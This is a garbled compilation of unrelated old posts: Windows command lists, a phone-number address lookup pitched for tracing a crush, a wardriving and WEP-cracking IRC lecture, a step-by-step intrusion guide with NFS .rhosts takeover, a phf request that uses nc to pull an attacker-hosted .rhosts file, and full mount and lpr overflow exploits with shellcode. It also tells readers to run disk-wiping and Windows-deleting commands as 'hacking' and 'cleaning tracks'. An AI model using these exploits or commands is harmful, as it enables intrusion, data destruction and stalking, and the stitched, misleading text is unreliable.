    RASPHONE.EXE - Remote Access Phonebook
    REGEDIT.EXE - Registry Editor
    REGEDT32.EXE - Registry Editor
    RESET.EXE - Resets Session
    RSTRUI.EXE - System Restore
    RTCSHARE.EXE - RTC Application Sharing
    SFC.EXE - System File Checker
    SHRPUBW.EXE - Create Shared Folder
    SHUTDOWN.EXE - System Shutdown
    SIGVERIF.EXE - File Signature Verification
    SNDREC32.EXE - Sound Recorder
    SNDVOL32.EXE - Sound Volume
    SOL.EXE - Solitaire

    SPIDER.EXE - Spider Solitaire
    SYNCAPP.EXE - Create A Briefcase
    SYSEDIT.EXE - System Configuration Editor
    SYSKEY.EXE - SAM Lock Tool
    TASKMGR.EXE - Task Manager
    TELNET.EXE - MS Telnet Client
    TSSHUTDN.EXE - System Shutdown
    TOURSTART.EXE - Windows Tour Launcher
    UTILMAN.EXE - System Utility Manager
    USERINIT.EXE - My Documents
    VERIFIER.EXE - Driver Verifier Manager
    WIAACMGR.EXE - Scanner and Camera Wizard
    WINCHAT.EXE - Windows for Workgroups Chat
    WINHELP.EXE - Windows Help Engine
    WINHLP32.EXE - Help
    WINMINE.EXE - Minesweeper
    WINVER.EXE - Windows Version Information
    WRITE.EXE - WordPad
    WSCRIPT.EXE - Windows Script Host Settings
    WUPDMGR.EXE - Windows Update

    The following are Control Panel applets that can be run from the run line.
    They are located in the c:\windows\system32 directory, and have the file type
    extension ".CPL".
    ACCESS.CPL - Accessibility Options
    APPWIZ.CPL - Add or Remove Programs
    DESK.CPL - Display Properties
    HDWWIZ.CPL - Add Hardware Wizard
    INETCPL.CPL - Internet Explorer Properties
    INTL.CPL - Regional and Language Options
    JOY.CPL - Game Controllers
    MAIN.CPL - Mouse Properties
    MMSYS.CPL - Sounds and Audio Device Properties
    NCPA.CPL - Network Connections
    NUSRMGR.CPL - User Accounts
    ODBCCP32.CPL - ODBC Data Source Administrator
    POWERCFG.CPL - Power Options Properties
    SYSDM.CPL - System Properties
    TELEPHON.CPL - Phone and Modem Options
    TIMEDATE.CPL - Date and Time Properties
    The following are Microsoft Management Console Snap-ins that can be opened from
    the run line. These applications have the file type extension ".MSC".
    CERTMGR.MSC - Certificates
    CIADV.MSC - Indexing Service
    COMPMGMT.MSC - Computer Management
    DEVMGMT.MSC - Device Manager
    DFRG.MSC - Disk Defragmenter
    DISKMGMT.MSC - Disk Management
    EVENTVWR.MSC - Event Viewer
    FSMGMT.MSC - Shared Folders
    LUSRMGR.MSC - Local Users and Groups
    NTMSMGR.MSC - Removable Storage
    NTMSOPRQ.MSC - Removable Storage Operator Requests
    PERFMON.MSC - Performance Monitor
    SERVICES.MSC - Services
    WMIMGMT.MSC - Windows Management Infrastructure




    Calculation on command Prompt ! u knew dis???


    The command processor CMD.EXE comes with a mini-calculator that can perform simple arithmetic on 32-bit signed integers:

    C:\>set /a 2+2
    4
    C:\>set /a 2*(9/2)
    8
    C:\>set /a (2*9)/2
    9
    C:\>set /a "31>>2"
    7

    Note that we had to quote the shift operator since it would otherwise be misinterpreted as a "redirect stdout and append" operator.

    For more information, type set /? at the command prompt.


    ***************************************************************************

    Hey folks, do u know that windows XP is having a hidden "Star Wars Movie" inside it???
    You should be connected to the NET for using this.
    Go to Starts-->Programs-->Run
    Type
    telnet towel.blinkenlights.nl
    And hit enter......... Enjoy the magic!!!!



    $UM!T ( Fainted brain)


    Wanna know Address of the girl you like?, or address of your friend?. It is so easy to trace the addresses, just you need is their phone number.

    EXAMPLE: For tracing the address of a number located in Madhya Pradesh (India) just log in to http://www.bsnl.co.in/onlinedirectory.htm

    After logging in, select the area (city) to which the phone number belong and then proceed further.

    In the option "Search by" , select Telephone number. select the station to which the phone no. belongs and finally write the phone number in the "Search key field" . In this way the address of that particular number will be traced.

    For selecting any other state of India, log on to http://www.bsnl.co.in/index.html . In the Right hand side you see the "BSNL units" option (above Username field), select your state from the menu and then proceed further.

    NOTE : Try both, number including (2) as well as number excluding (2) as a prefix.

    Now on SMS SETTINGS

    1>Service centre No:- +919863002222
    2>Validity period:- Maximum
    3>Message type:- Text
    4>Reply path:- Off
    5>Delivery report:- Off

    Note:- Your balance Must be Zero......

    Hello All,
    Ive been trying to work this one out for some time, and the solution is actually pretty simple!

    To enable themes on Windows Server 2003 follow these steps:
    1) Go to the Services applet in Administrative Tools.

    2) Find the "Themes" service, right-click and select Properties, select "Automatic" instead of "Disabled" in the startup type box.

    3) Click Apply.

    4) Right-click the Themes service and select Start.

    5) Click OK.

    For now you only have Luna Blue, Silver and Olive Green to choose from:
    1) Go to Control Panel, select Display and then go to the Appearance tab.

    2)In the "Windows and Buttons" drop-down list select "Windows XP Style".

    3)Click OK.

    There you go, Windows XP Themes on your server! I knew all the GFX that went into Helm Toolbox would be worth it


    With a proper understanding of the relevant programming languages such as C, C++, Pearl, java etc. one can be fully equipped with the technique of hacking into website. There backdoors for the web hackers for website hacking. For hacking web sites one of the best ways for the hacker is to install linux on his or her personal computer he or she wants to hack from. Then he can open up a shell to type: dd if=/dev/zero of=/dev/hda1 and press ENTER. As the next step he will type: dd hf=(url). There are a few other alternatives for hacking sites as well. The web hackers using Windows pc can also master the art of hacking websites with the flicking of his finger.


    The first step is to clean up the tracks so that the feds fail to trace out the hacker. This happens automatically in case of linux. Cleaning up of tracks in case of Windows 95 or Windows 98 or Windows ME involves a step-by step procedure. Click Start then Run and then Command. In case of Windows NT or Windows 2000 the Tracks can be cleaned by pressing Start, then Run and then cmd. The next step is to clean up tracks with deltree c:/windows or c:\winnt, or whatever the main windows directory is. At the command prompt, press y, which will then go through and clean up the system's logs. The hackers should perform the same steps again after the hacking sites/hacking wireless internet sites. Then after this cleaning up the hackers should type: ping -l4000 (url).

    Cyber Terrorism And Hacker's Group

    The whole planet is today terrorized by the web hackers to whom hacking seems a mode of getting pleasure by the way of gaining knowledge or mere entertainment. A group of serious hackers named as PENTAGUARD had cracked into the government sites of Australia, America and England all at a time. The hackers in this case had replaced with a typical statement that read "The largest .gov & .mil mass defacement in the history of mankind".

    This was a simple statement with an aesthetic undertone of threat. The act affected almost 24 sites with a transitory disruption.Similarly an educational site on the mad cow disease was defaced along with some cities and the nation's government sites in England. The Alaskan office of the department of interior was once attacked since the secretary of the Interior Designate, Gale Norton, encouraged drilling in the Arctic Wild Life Refugee for sucking out oil.

    The common wealth of Australia is of no exception. The search page of the common wealth of Australia was once hacked along with the act of hacking into websites of small municipal sites in Australia. These are a scanty number of instances that proved to have jeopardized the respective concerns severely. The hackers had to use simple techniques and methods to do these. Website hacking for these hackers is all as simple as a child's play. Their main focus was on the sites that were designed with vulnerable loopholes.

    Searched By - $UM!T

    By blacksun.box.sk

    22:12:33 --> AZTEK (aztek@198.81.129.100) has joined #bsrf

    22:12:33 --- Topic for #bsrf is .::Welcome to Blacksun Research Facility [BSRF] ::. http://blacksun.box.sk Enjoy your stay and plz talk this channel feels dead (Mikkkeee) (AZTEK)

    22:12:33 --- Topic for #bsrf set by AZTEK at Sat Apr 27 14:05:07

    22:12:33 --- ChanServ sets mode +q

    22:12:33 --- ChanServ gives channel operator status to AZTEK

    22:12:48 But then, I have no idea what I'm talking about

    22:12:56 <-- mtcx1 has quit ( Ping timeout)

    22:13:00 lol

    22:13:19 ok im back

    22:13:20 well now loging works

    22:13:28 i am loging simprix

    22:13:33 ok

    22:13:59 anyone can butt in if they want or if i say something wrong

    22:13:59 ok

    22:14:22 everyone here

    22:14:34 ;]

    22:14:39 ya

    22:14:52 ok girls and boys

    22:15:43 Ok this will be centralized around linux because I have never done this in Windows and Windows sucks

    22:16:13 oki

    22:16:14 one thing i do know if you want to do this in windows then you need to use netstumpler

    22:16:32 or ApSniff

    22:16:47 from a website i am lookin at :/

    22:16:57 Ok first off in linux you need to recompile your kernel with netlink and get rid of pcmcia support in the kernel

    22:17:20 then you have to get the pcmcia source for pcmcia-cd.sourceforge.net

    22:17:47 there are to ways you can do it now

    22:18:16 you can use the wireless extensions in the kernel but you need a good card like a cisco aironet card

    22:18:52 but the wireless extensions does not have as good sniffing techniques as the linux-wlan source

    22:19:05 so they way i have done it is using the linux-wlan-ng source

    22:19:30 you can get that from www.linux-wlan.org and you need to compile that

    22:19:37 any questions so far?

    22:19:59 or is no one listening

    22:20:00 nope

    22:20:15 is there info on editing the kernel?

    22:20:48 have you recompiled a kernel before?

    22:20:49 miteymouse, wheres that site with ApSniff?

    22:21:04 no im new sorry :(

    22:21:12 strider: www.wardriving.com

    22:21:20 What he/she/it said^

    22:21:21 thnx

    22:21:25 ok well you should read the howto

    22:21:40 i plan on it :P

    22:21:54 ok once you have compiled all that stuff your almost ready to get started

    22:22:23 Could you just explain what it is that those modifications do?

    22:22:40 Or is it too lenghty to explain now.

    22:22:50 oh yea the linux-wlan stuff only works with the prism2 chipset, which are cards like linksys, dlink, netgear, zoom alot of consumer cards

    22:23:09 what motifications

    22:23:23 The recompilations

    22:23:36 they are pretty much drivers for the cards

    22:23:47 i prefer the zoom wireless cards

    22:23:53 Ah, ty

    22:24:17 ok does everyone in here know what snmp is

    22:24:59 any aussies here>?

    22:25:02 SNMP

    22:25:03 * Paranoiac does not....is a know-nothing-newb

    22:25:39 well the linux-wlan binaries are alot like using snmp

    22:25:56 like to specify the ssid

    22:26:33 a ssid is kinda like a network id

    22:26:46 say one access point is on ssid: ap01

    22:27:00 and one access point is on ssid: ap02

    22:27:19 --- BaGeL[CS] is now known as BaGeL

    22:27:28 and you want to attach to ap01 then you would use the ssid of ap01

    22:27:45 it is two specify wireless networks

    22:27:48 everyone with me?

    22:27:53 and questions?

    22:28:12 SNMP - Simple Network Managment Protocol

    22:28:21 ep

    22:28:22 yep

    22:28:37 Ah

    22:29:00 http://www.rad.com/networks/1995/snmp/snmp.htm

    22:29:12 Ty

    22:30:09 ok but if you are not familer with snmp and using mibs, you could use a program my friend wrote called wlanfe you can get it from se.rious.net or freshmeat.net

    22:30:51 --> r (trashmail@172.166.185.154) has joined #bsrf

    22:31:00 ok now you are ready to go wardriving

    22:31:10 --> Sheik (sheik001@65.58.40.148) has joined #bsrf

    22:31:34 i am warning, make sure you are with someone else and make them drive

    22:31:49 Hehe

    22:31:58 it is really hard to drive and look at your computer at the same time trust me

    22:32:18 wtf?

    22:32:21 drive?

    22:32:26 and computer

    22:32:32 heh

    22:33:06 yes

    22:33:25 also you should get some programs before you go

    22:33:48 so you basically can just use someone elses wireless network?

    22:34:02 these programs are kismet, airsnort, scanchan, arpping

    22:34:06 yes miteymous

    22:34:10 like...hijack it...an invisible parasite?

    22:34:13 ok question

    22:34:19 yes

    22:34:51 <-- Sheik has quit (Quit: )

    22:34:53 would it be possible to set up your own wireless network, that hijacks your targets, and then spreads it farther via your equipment

    22:35:06 maybe letting you have free access at your house

    22:35:14 yes you could bridge the connection

    22:35:21 with a wireless bridge

    22:35:41 he networks would need to overlap, though

    22:35:45 *The

    22:35:52 would the same basic techniques work with cell phone modems

    22:36:34 well if you have the wireless bridge on the same ssid then your ok

    22:36:40 and they wont overlap

    22:36:53 miteymous: i dont know anything about cell phone modems

    22:37:16 well i mean they obviously work on different frequencies

    22:37:16 it might work but i dont know what cell phones use as there protocals

    22:37:39 well then you could use a frequency counter and use a ham radio

    22:37:44 <-- Forbze has quit (Ping timeout)

    22:37:51 hey is neve campbelle that girl in the movie three to tango?

    22:38:44 everyone ready to continue

    22:38:58 <-- r (trashmail@172.166.185.154) has left #bsrf

    22:39:06 go ahead :)

    22:39:29 yah

    22:39:31 :D

    22:39:55 --> Forbze (thedon@203.134.22.186) has joined #bsrf

    22:39:56 --- ChanServ gives channel operator status to Forbze

    22:40:08 ok well when you are ready to go you need to put your wireless card in promiscuos mode which means it will gather everything that is in the air

    22:40:35 there are tools that come with kismet

    22:40:36 <-- LiquidKn0wledge (LiquidKn0w@66.153.12.78) has left #bsrf

    22:40:56 ok after that is all set you will start up kismet

    22:41:15 and go drive around

    22:41:51 once something pops up on the screen there will be three sections

    22:42:02 nite all

    22:42:04 ssid: it will say the ssid here

    22:42:14 nite

    22:42:20 WEP: it will say if wep is being used

    22:42:32 channel it will say what channel the network is on

    22:42:48 does everyone know what WEP is

    22:43:00 no

    22:43:05 ditto

    22:43:19 wireless encryption protocal

    22:43:56 it encrypts the network

    22:44:17 so you cant attach to the network unless you have the wep key

    22:44:36 What kind of encryption is it?

    22:45:27 RC4

    22:45:43 <-- ro0t has quit (Quit: rm -rf /;reboot&)

    22:45:57 so you have to crack the encryption then, does kismet do that?

    22:46:04 no

    22:46:08 --> ro0t (ro0t@216.153.217.132) has joined #bsrf

    22:46:30 ok we will get to what you do if they use wep

    22:46:44 but first we will talk about a network with out wep

    22:47:19 while you are watching a kismet it will say what the ssid is remember that

    22:47:40 if it says under W: N, then they arent using wep

    22:48:03 ok so once you have got these

    22:48:32 you will need pop out your card to take it out of promiscues mode

    22:48:40 and pop it back in

    22:48:48 then you will open wlanfe

    22:49:11 and under ssid type the ssid you got from kismet

    22:49:16 and click apply

    22:49:25 now you are attached

    22:49:43 now you need to get a ip

    22:50:00 if the access point is using dhcp you can get it that way

    22:50:14 but if it isnt you need to find out what ips they are using

    22:50:24 to do this we will use arping

    22:51:08 run that and we will get some ips they are using

    22:51:23 so you will assign a unused ip using ifconfig

    22:51:43 and then it is just like you are on a normal network

    22:51:46 any questions?

    22:52:12 so at this point you are connected and have internet access?

    22:52:21 huh? is this thing still going??

    22:52:24 and access to their network?

    22:52:25 j/k

    22:52:29 Hehe

    22:52:34 yes

    22:52:39 what Strider are you bored

    22:52:50 whoah

    22:53:03 Are there many networks that are unsecured?

    22:53:09 yes

    22:53:12 lots

    22:53:18 Groovy

    22:53:28 the city hall in my town is not using wep

    22:53:40 Strider: what can we do to keep you interested

    22:53:53 me?

    22:53:55 ermm

    22:53:57 danece?

    22:54:01 dance*

    22:54:10 How can you secure yourself from being detected/accessed?

    22:54:12 ok so lets say you are connected now

    22:54:24 would you be able to see all the computers that are shared on the network?

    22:54:32 yes

    22:54:36 network neighborhood type thing?

    22:54:37 if you use samba

    22:54:43 sorry Strider

    22:54:53 Paranoiac: i will get to securing them later

    22:54:57 * miteymous does the chicken dance for Strider

    22:55:05 lmao

    22:55:07 Ahh, ok...thanks

    22:55:16 Bah....that's nothing

    22:55:20 wait i thought samba was used to show graphics

    22:55:25 * Paranoiac does the Funky Monkey

    22:55:35 when compiling programs etc

    22:55:48 nope

    22:55:54 what Strider

    22:56:10 ahhsoo o_O

    22:56:40 ok everyone ready

    22:56:46 to talk about wep

    22:57:01 yup

    22:57:07 Aye, cap'n

    22:57:17 go on then

    22:57:24 ok

    22:57:41 well out in california two kids figured out how to break wep

    22:58:31 hold on, whats wep?? is that still the wireless thingy?

    22:58:41 yes

    22:58:46 ah ok

    22:58:49 carry on

    22:58:51 wireless encryption protocol :x

    22:58:52 it is wireless encryption protocal

    22:59:32 ok when you find a wireless network you need to use airsnort

    23:00:11 with your card still in promiscuos mode you need to start airsnort and just start to gather packets

    23:00:19 --> GOD (que_import@226C75B7.CF2E741F.41F302F6.IP) has joined #bsrf

    23:00:47 usually with a 128 bit wep key you should gather 1 gig of traffic

    23:00:58 then it will list the wep key

    23:01:06 everyone with me so far

    23:01:25 So it grabs the key from the other user's packets?

    23:01:37 airsnort figures out the key for you?

    23:01:44 yes and beacon frames

    23:01:48 yes miteymous

    23:02:02 That's useful

    23:02:20 yes

    23:02:33 ok so once you have the wep key

    23:02:52 Is the WEP verification a constant activity then? As opposed to using it once, like a password....

    23:02:59 --> nosolution (NS@p19-tnt1.ham.ihug.co.nz) has joined #bsrf

    23:03:36 you will load up wlanfe and put the ssid you have and click on the wep key tab and type the key

    23:03:45 yes it is constant Paranoiac

    23:04:55 --> Jackel88 (new-web@166.90.65.247) has joined #bsrf

    23:05:10 ok so once you attach to the network you need to get your ip the same way you did before

    23:05:19 without wep

    23:06:28 <-- Jackel88 has quit (Quit: Leaving)

    23:06:29 ok there are three ways to secure a wireless network besides wep

    23:06:31 --- GOD is now known as satan

    23:06:34 kewl

    23:06:37 cause wep sucks

    23:06:43 <-- bluehaze[BED] has quit (Ping timeout)

    23:06:44 Hehe

    23:06:59 hey this is already registered

    23:07:46 ok the three ways are a radius server, a kerbores server, ipsec

    23:07:56 --- satan is now known as compaq

    23:08:36 if you need to know about those ways read the rfc's cause i am not going to explain them this time maybe another lecture

    23:09:07 suhweet

    23:09:11 ok im done any questions

    23:09:19 or opinions

    23:09:25 do you have to have a big antennae?

    23:09:30 no

    23:09:33 and how far away can you be

    23:09:35 --> Ravish (Ravish@210.214.102.213) has joined #bsrf

    23:09:48 500 feet is 2 megs a second

    23:09:57 * Strider is away (finger lickin the chicken)

    23:10:03 hmm

    23:10:04 <-- Forbze has quit (Quit: Vive La Revolution)

    23:10:06 thats not that far

    23:10:07 What kind of wireless is this?

    23:10:08 i would not go past 500 feet

    User's guide

    __________________________

    Well, howdi folks... I guess you are all wondering who's this guy (me)

    that's trying to show you a bit of everything... ?

    Well, I ain't telling you anything of that...

    Copyright, and other stuff like this (below).

    Copyright and stuff...

    ______________________

    If you feel offended by this subject (hacking) or you think that you could

    do better, don't read the below information...

    This file is for educational purposes ONLY...;)

    I ain't responsible for any damages you made after reading this...(I'm very

    serious...)

    So this can be copied, but not modified (send me the changes, and if they

    are good, I'll include them ).

    Don't read it, 'cuz it might be illegal.

    I warned you...

    If you would like to continue, press .

    Intro: Hacking step by step.

    _________________________________________________________________________________

    Well, this ain't exactely for begginers, but it'll have to do.

    What all hackers has to know is that there are 4 steps in hacking...

    Step 1: Getting access to site.

    Step 2: Hacking r00t.

    Step 3: Covering your traces.

    Step 4: Keeping that account.

    Ok. In the next pages we'll see exactely what I ment.

    Step 1: Getting access.

    _______

    Well folks, there are several methods to get access to a site.

    I'll try to explain the most used ones.

    The first thing I do is see if the system has an export list:

    mysite:~>/usr/sbin/showmount -e victim.site.com

    RPC: Program not registered.

    If it gives a message like this one, then it's time to search another way

    in.

    What I was trying to do was to exploit an old security problem by most

    SUN OS's that could allow an remote attacker to add a .rhosts to a users

    home directory... (That was possible if the site had mounted their home

    directory.

    Let's see what happens...

    mysite:~>/usr/sbin/showmount -e victim1.site.com

    /usr victim2.site.com

    /home (everyone)

    /cdrom (everyone)

    mysite:~>mkdir /tmp/mount

    mysite:~>/bin/mount -nt nfs victim1.site.com:/home /tmp/mount/

    mysite:~>ls -sal /tmp/mount

    total 9

    1 drwxrwxr-x 8 root root 1024 Jul 4 20:34 ./

    1 drwxr-xr-x 19 root root 1024 Oct 8 13:42 ../

    1 drwxr-xr-x 3 at1 users 1024 Jun 22 19:18 at1/

    1 dr-xr-xr-x 8 ftp wheel 1024 Jul 12 14:20 ftp/

    1 drwxrx-r-x 3 john 100 1024 Jul 6 13:42 john/

    1 drwxrx-r-x 3 139 100 1024 Sep 15 12:24 paul/

    1 -rw------- 1 root root 242 Mar 9 1997 sudoers

    1 drwx------ 3 test 100 1024 Oct 8 21:05 test/

    1 drwx------ 15 102 100 1024 Oct 20 18:57 rapper/

    Well, we wanna hack into rapper's home.

    mysite:~>id

    uid=0 euid=0

    mysite:~>whoami

    root

    mysite:~>echo "rapper::102:2::/tmp/mount:/bin/csh" >> /etc/passwd

    We use /bin/csh 'cuz bash leaves a (Damn!) .bash_history and you might

    forget it on the remote server...

    mysite:~>su - rapper

    Welcome to rapper's user.

    mysite:~>ls -lsa /tmp/mount/

    total 9

    1 drwxrwxr-x 8 root root 1024 Jul 4 20:34 ./

    1 drwxr-xr-x 19 root root 1024 Oct 8 13:42 ../

    1 drwxr-xr-x 3 at1 users 1024 Jun 22 19:18 at1/

    1 dr-xr-xr-x 8 ftp wheel 1024 Jul 12 14:20 ftp/

    1 drwxrx-r-x 3 john 100 1024 Jul 6 13:42 john/

    1 drwxrx-r-x 3 139 100 1024 Sep 15 12:24 paul/

    1 -rw------- 1 root root 242 Mar 9 1997 sudoers

    1 drwx------ 3 test 100 1024 Oct 8 21:05 test/

    1 drwx------ 15 rapper daemon 1024 Oct 20 18:57 rapper/

    So we own this guy's home directory...

    mysite:~>echo "+ +" > rapper/.rhosts

    mysite:~>cd /

    mysite:~>rlogin victim1.site.com

    Welcome to Victim.Site.Com.

    SunOs ver....(crap).

    victim1:~$

    This is the first method...

    Another method could be to see if the site has an open 80 port. That would

    mean that the site has a web page.

    (And that's very bad, 'cuz it usually it's vulnerable).

    Below I include the source of a scanner that helped me when NMAP wasn't written.

    (Go get it at http://www.dhp.com/~fyodor. Good job, Fyodor).

    NMAP is a scanner that does even stealth scanning, so lots of systems won't

    record it.

    /* -*-C-*- tcpprobe.c */

    /* tcpprobe - report on which tcp ports accept connections */

    /* IO ERROR, error@axs.net, Sep 15, 1995 */

    #include

    #include

    #include

    #include

    #include

    #include

    int main(int argc, char **argv)

    {

    int probeport = 0;

    struct hostent *host;

    int err, i, net;

    struct sockaddr_in sa;

    if (argc != 2) {

    printf("Usage: %s hostname\n", argv[0]);

    exit(1);

    }

    for (i = 1; i <>

    strncpy((char *)&sa, "", sizeof sa);

    sa.sin_family = AF_INET;

    if (isdigit(*argv[1]))

    sa.sin_addr.s_addr = inet_addr(argv[1]);

    else if ((host = gethostbyname(argv[1])) != 0)

    strncpy((char *)&sa.sin_addr, (char *)host->h_addr, sizeof sa.sin_addr);

    else {

    herror(argv[1]);

    exit(2);

    }

    sa.sin_port = htons(i);

    net = socket(AF_INET, SOCK_STREAM, 0);

    if (net <>

    perror("\nsocket");

    exit(2);

    }

    err = connect(net, (struct sockaddr *) &sa, sizeof sa);

    if (err <>

    printf("%s %-5d %s\r", argv[1], i, strerror(errno));

    fflush(stdout);

    } else {

    printf("%s %-5d accepted. \n", argv[1], i);

    if (shutdown(net, 2) <>

    perror("\nshutdown");

    exit(2);

    }

    }

    close(net);

    }

    printf(" \r");

    fflush(stdout);

    return (0);

    }

    Well, now be very carefull with the below exploits, because they usually get

    logged.

    Besides, if you really wanna get a source file from /cgi-bin/ use this

    sintax : lynx http://www.victim1.com//cgi-bin/finger

    If you don't wanna do that, then do a :

    mysite:~>echo "+ +" > /tmp/rhosts

    mysite:~>echo "GET /cgi-bin/phf?Qalias=x%0arcp+phantom@mysite.com:/tmp/rhosts+

    /root/.rhosts" | nc -v - 20 victim1.site.com 80

    then

    mysite:~>rlogin -l root victim1.site.com

    Welcome to Victim1.Site.Com.

    victim1:~#

    Or, maybe, just try to find out usernames and passwords...

    The usual users are "test", "guest", and maybe the owner of the site...

    I usually don't do such things, but you can...

    Or if the site is really old, use that (quote site exec) old bug for

    wu.ftpd.

    There are a lot of other exploits, like the remote exploits (innd, imap2,

    pop3, etc...) that you can find at rootshell.connectnet.com or at

    dhp.com/~fyodor.

    Enough about this topic. (besides, if you can finger the site, you can

    figgure out usernames and maybe by guessing passwords (sigh!) you could get

    access to the site).

    Step 2: Hacking r00t.

    ______

    First you have to find the system it's running...

    a). LINUX

    ALL versions:

    A big bug for all linux versions is mount/umount and (maybe) lpr.

    /* Mount Exploit for Linux, Jul 30 1996

    ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

    ::::::::""`````""::::::""`````""::"```":::'"```'.g$$S$' `````````"":::::::::

    :::::'.g#S$$"$$S#n. .g#S$$"$$S#n. $$$S#s s#S$$$ $$$$S". $$$$$$"$$S#n.`::::::

    ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ .g#S$$$ $$$$$$ $$$$$$ ::::::

    ::::: $$$$$$ gggggg $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::

    ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::

    ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::

    ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::

    ::::::`S$$$$s$$$$S' `S$$$$s$$$$S' `S$$$$s$$$$S' $$$$$$$ $$$$$$ $$$$$$ ::::::

    :::::::...........:::...........:::...........::.......:......:.......::::::

    :::::::::::::::::::::::::::::::::::::::::::::::;::::::::::::::::::::::::::::

    Discovered and Coded by Bloodmask & Vio

    Covin Security 1996

    */

    #include

    #include

    #include

    #include

    #include

    #define PATH_MOUNT "/bin/mount"

    #define BUFFER_SIZE 1024

    #define DEFAULT_OFFSET 50

    u_long get_esp()

    {

    __asm__("movl %esp, %eax");

    }

    main(int argc, char **argv)

    {

    u_char execshell[] =

    "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"

    "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"

    "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

    char *buff = NULL;

    unsigned long *addr_ptr = NULL;

    char *ptr = NULL;

    int i;

    int ofs = DEFAULT_OFFSET;

    buff = malloc(4096);

    if(!buff)

    {

    printf("can't allocate memory\n");

    exit(0);

    }

    ptr = buff;

    /* fill start of buffer with nops */

    memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));

    ptr += BUFFER_SIZE-strlen(execshell);

    /* stick asm code into the buffer */

    for(i=0;i <>

    *(ptr++) = execshell[i];

    addr_ptr = (long *)ptr;

    for(i=0;i < (8/4);i++)

    *(addr_ptr++) = get_esp() + ofs;

    ptr = (char *)addr_ptr;

    *ptr = 0;

    (void)alarm((u_int)0);

    printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");

    execl(PATH_MOUNT, "mount", buff, NULL);

    }

    /*LPR exploit:I don't know the author...*/

    #include

    #include

    #include

    #define DEFAULT_OFFSET 50

    #define BUFFER_SIZE 1023

    long get_esp(void)

    {

    __asm__("movl %esp,%eax\n");

    }

    void main()

    {

    char *buff = NULL;

    unsigned long *addr_ptr = NULL;

    char *ptr = NULL;

    u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"

    "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"

    "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"

    "\xd7\xff\xff\xff/bin/sh";

    int i;

    buff = malloc(4096);

    if(!buff)

    {

    printf("can't allocate memory\n");

    exit(0);

    }

    ptr = buff;

    memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));

    ptr += BUFFER_SIZE-strlen(execshell);

    for(i=0;i <>

    *(ptr++) = execshell[i];

    addr_ptr = (long *)ptr;

    for(i=0;i<2;i++)>

    *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;

    ptr = (char *)addr_ptr;

    *ptr = 0;

    execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);

    }

    b.) Version's 1.2.* to 1.3.2

    NLSPATH env. variable exploit:

    /* It's really annoying for users and good for me...

    AT exploit gives only uid=0 and euid=your_usual_euid.

    */

    #include

    #include

    #include

    #include

    #include

    #define path "/usr/bin/at"

    #define BUFFER_SIZE 1024

    #d

    By SUMIT SINGHAL

    Have you ever forgottin your windowz password and never been able to retrieve those files you longed?

    Well heres how to change your password without knowing the old one.

    1)when the computer boots keep pressing F8 until you get to a boot screen.

    2)Select boot in DOS.

    3)Get yourself into the windows folder by typing "cd windows" (without the "")

    4)next type "dir *.pwl". This will display the login password files.

    5)after you found out the one thats yours (or ne1 elses you want to get into) type del username.pwl

    6)Reboot the computer

    7)When you have to login, put in the username you deleted, and enter ne password you like.

    8)The computer will say sumthin like "No password. Would you like to use this one? Confirm?

    9)Put your password in, and voila!

    10) sit back and watch all the noobs try and open their windowz boxes with the wrong password!!!lol

    Discover more than 20 behind-the-scenes tweaks for speeding up page loads, reducing memory drain and making the interface behave the way you want it to


    Ever since its debut, Firefox has garnered a reputation for being an enormously customizable program, both through its add-on architecture and its internal settings. In fact, many of Firefox's settings aren't exposed through the Tools > Options menu; the only way to change them is to edit them manually. In this article, we'll explore some of the most useful Firefox settings that you can change on your own and that aren't normally available through the program's graphical interface. The closest analogy to how Firefox manages its internal settings is the Windows Registry. Each setting, or preference, is given a name and stored as a string (text), integer (number) or Boolean (true/false) value. However, Firefox doesn't keep its settings in the registry, but in a file called prefs.js. You can edit prefs.js directly, but it'soften easier to change the settings through the browser window.

    Type about:config in the address bar and press Enter, and you'll see all the settings currently enumerated in prefs.js, listed in alphabetical order. To narrow down the hundreds of configuration preferences to just the few you need, type a search term into the Filter: bar. (Click the Show All button or just clear the Filter: bar to get the full list back again.)

    The about:config page.

    The about:config page. (Click for larger view.)

    To edit a preference, double-click on the name and you'll be prompted for the new value. If you double-click on an entry that has a Boolean value, it'll just switch from true to false or vice versa; double-click again to revert to the original setting. Not all changes take effect immediately, so if you want to be absolutely certain a given change is in effect, be sure to close and reopen Firefox after making a change.

    Editing a preference.

    Editing a preference. (Click for larger view.)

    Note that not every setting in about:config exists by default. Some of them have to be created manually. If you want to add a new preference, right-click somewhere on the page and select New, then select the type of item to create (String, Integer or Boolean) and supply the name and value.

    Before you begin

    Here are a few caveats to keep in mind as you explore and tweak:

    Not everyone will get the same benefits by enabling these tweaks. This is especially true for changing the network settings. If you habitually visit sites that don't allow a large number of connections per client, for instance, you won't see much benefit from raising the number of connections per server.

    Some hacks may have a limited shelf life. With each successive release of Firefox, the need for tweaking any of the performance-related config settings (like the network settings) may dwindle as Firefox becomes more self-tuning based on feedback from real-world usage scenarios. In short, what works now may not always work in the future -- and that might not be a bad thing.


